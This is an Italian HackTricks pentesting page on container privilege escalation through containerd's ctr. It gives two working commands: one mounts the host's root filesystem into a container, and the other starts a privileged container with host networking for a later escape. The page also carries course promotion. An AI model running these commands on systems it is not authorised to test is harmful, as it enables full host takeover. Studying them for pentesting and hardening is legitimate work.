Containerd (ctr) Privilege Escalation

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni di base

Vai al seguente link per scoprire cos'è containerd e ctr:

page2375, 2376 Pentesting Docker

PE 1

se scopri che un host contiene il comando ctr:

which ctr
/usr/bin/ctr

Puoi elencare le immagini:

ctr image list
REF                                  TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -

E quindi eseguire una di queste immagini montando la cartella radice dell'host al suo interno:

ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash

PE 2

Esegui un container con privilegi e scappa da esso. Puoi eseguire un container con privilegi come segue:

ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash

Quindi puoi utilizzare alcune delle tecniche menzionate nella seguente pagina per sfuggire ad essa abusando delle capacità privilegiate:

pageDocker Security
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated